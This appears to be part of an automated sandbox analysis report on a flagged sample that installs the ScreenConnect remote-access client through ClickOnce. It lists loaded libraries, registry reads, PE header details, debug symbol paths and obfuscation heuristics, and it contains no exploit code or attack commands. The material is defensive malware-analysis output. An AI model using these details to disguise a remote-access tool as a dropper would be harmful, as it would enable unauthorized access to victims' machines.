Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: profapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Reads internet explorer settings

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: certificate valid

PE file contains a mix of data directories often seen in goodware

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb3 source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.000000000134A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb a source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: ScreenConnect.Core.pdbJt source: WERA625.tmp.dmp.11.dr
Source:	Binary string: ScreenConnect.Windows.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: C:\Windows\ScreenConnect.ClientService.pdbpdbice.pdbH source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb4 source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb1 source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: ScreenConnect.Windows.pdbH source: WERA625.tmp.dmp.11.dr
Source:	Binary string: ScreenConnect.Core.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B62000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4788000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325166034.0000000002410000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325286877.00000000026EF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1289094143.0000000005582000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000009.00000000.1255423787.00000000009BD000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: \??\C:\Windows\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nXC:\Windows\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287827656.0000000001158000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: nect.Core.pdbpdk source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdby source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\ScreenConnect.ClientService.pdb{ source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: mscorlib.pdbP source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdbh source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: reenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA45D8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325035100.00000000023D2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb= source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.ni.pdbRSDS source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdbSystem.ni.dllSystem.Core.dll source: WERA625.tmp.dmp.11.dr
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.ClientService.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbta source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: @o.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4784000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4D29000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B5E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1289418244.00000000056A2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source:	Binary string: %%.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbe source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb\ source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B66000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA478C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.1289884811.0000000005CA2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: ?oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb4 source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Core.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: ScreenConnect.ClientService.exe, 00000009.00000002.1289837912.0000000005C7B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA45D8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325035100.00000000023D2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: Core.pdb/ source: ScreenConnect.ClientService.exe, 00000009.00000002.1287919374.00000000012E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERA625.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA625.tmp.dmp.11.dr

PE file contains a valid data directory to section mapping

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: ScreenConnect.WindowsFileManager.exe.1.dr

Static PE information: 0xC9D5F63E [Wed Apr 21 14:57:02 2077 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

0_2_003A1000

PE file contains an invalid checksum

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: real checksum: 0x14df5 should be: 0x16eed

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_003A1BC0 push ecx; ret	0_2_003A1BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C194D2A5 pushad ; iretd	1_2_00007FF9C194D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A6845E push eax; ret	1_2_00007FF9C1A6846D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A6842E pushad ; ret	1_2_00007FF9C1A6845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A67D00 push eax; retf	1_2_00007FF9C1A67D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A600BD pushad ; iretd	1_2_00007FF9C1A600C1
